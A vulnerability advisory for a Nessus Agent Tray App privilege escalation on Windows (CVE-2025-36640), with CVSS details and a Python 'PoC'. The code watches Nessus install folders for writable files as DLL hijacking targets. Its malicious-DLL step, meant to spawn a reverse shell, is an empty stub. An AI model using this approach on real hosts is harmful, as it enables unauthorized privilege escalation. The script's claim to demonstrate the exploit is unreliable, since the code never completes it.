A vulnerability has been identified in the installation/uninstallation of the Nessus Agent Tray App on Windows Hosts which could lead to escalation of privileges.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Nessus Agent Tray App < 10.8.0 (Windows)
Nessus Agent (all versions prior to 2026-01-13 patch)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-36640 PoC - Nessus Agent Tray App Privilege Escalation
# This PoC demonstrates the privilege escalation vulnerability during Nessus Agent installation
# Target: Windows hosts with Nessus Agent Tray App < fixed version
import os
import sys
import time
import shutil
import threading
def check_nessus_installed():
"""Check if Nessus Agent is installed on the system"""
nessus_paths = [
r'C:\Program Files\Tenable\Nessus Agent',
r'C:\Program Files (x86)\Tenable\Nessus Agent',
r'C:\ProgramData\Tenable\Nessus Agent'
]
for path in nessus_paths:
if os.path.exists(path):
return True, path
return False, None
def monitor_installation(target_dir):
"""
Monitor installation directory for newly created files
that can be exploited for DLL hijacking
"""
print(f'[*] Monitoring {target_dir} for new files...')
created_files = []
while True:
try:
for root, dirs, files in os.walk(target_dir):
for file in files:
filepath = os.path.join(root, file)
if filepath not in created_files:
created_files.append(filepath)
print(f'[+] Discovered file: {filepath}')
# Check if file is writable by low-priv user
if os.access(filepath, os.W_OK):
print(f'[!] File is writable: {filepath}')
print(f'[!] Potential DLL hijacking target detected!')
except Exception as e:
print(f'[-] Error during monitoring: {e}')
time.sleep(1)
def create_malicious_dll(dll_path):
"""
Create malicious DLL for privilege escalation
Note: This is for educational purposes only
"""
# Malicious DLL would be placed here
# The DLL should export required functions and spawn a reverse shell
pass
def main():
print('='*60)
print('CVE-2025-36640 Nessus Agent Privilege Escalation PoC')
print('='*60)
# Check if running on Windows
if sys.platform != 'win32':
print('[-] This exploit only works on Windows systems')
return
# Check for Nessus Agent installation
installed, nessus_path = check_nessus_installed()
if installed:
print(f'[+] Nessus Agent found at: {nessus_path}')
# Start monitoring thread
monitor_thread = threading.Thread(
target=monitor_installation,
args=(nessus_path,),
daemon=True
)
monitor_thread.start()
print('[*] Waiting for installation/update operations...')
print('[*] Monitor for writable DLLs and exploit during installation')
# Keep running
try:
while True:
time.sleep(1)
except KeyboardInterrupt:
print('\n[-] Exiting...')
else:
print('[-] Nessus Agent not found on this system')
print('[*] Exploitation requires Nessus Agent installation')
if __name__ == '__main__':
main()